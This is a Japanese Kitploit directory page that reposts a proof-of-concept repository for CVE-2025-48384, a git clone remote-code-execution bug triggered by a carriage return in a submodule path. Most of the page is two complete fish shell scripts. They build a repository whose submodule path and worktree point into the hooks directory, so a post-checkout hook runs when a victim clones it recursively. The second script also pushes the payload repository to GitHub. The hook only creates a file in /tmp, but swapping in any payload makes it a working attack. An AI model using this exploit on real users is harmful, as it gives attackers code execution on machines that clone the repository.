Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-48384 — CVE-2025-48384の再現スクリプト。サブモジュールパスにおけるキャリッジリターンを介したgit clone RCEであり、脆弱性を実証し、ローカルテストハーネスを提供します。 | Kitploit
ツール/GitHubGitHub/arun1033/cve-2025-48384
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubarun1033/cve-2025-48384

CVE-2025-48384

CVE-2025-48384の再現スクリプト。サブモジュールパスにおけるキャリッジリターンを介したgit clone RCEであり、脆弱性を実証し、ローカルテストハーネスを提供します。

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-48384: キャリッジリターンによるgitの破壊とクローンRCE

https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 からの再現。すべてのクレジットはDavid Leadbeaterに帰属します。

これはこの脆弱性の基本的な再現試行です。

トリガーするには、脆弱なgitバージョンで git clone --recursive https://github.com/acheong08/CVE-2025-48384 を実行すると、/tmp/fishsucks ファイルが突然出現します。

gitバージョン2.50.0で再現できました。

以下はローカルテストに使用したスクリプトです。

root@kitploit:~
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone

Githubへのプッシュ用に修正したスクリプト:

root@kitploit:~
#!/usr/bin/fish
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
ツールをダウンロード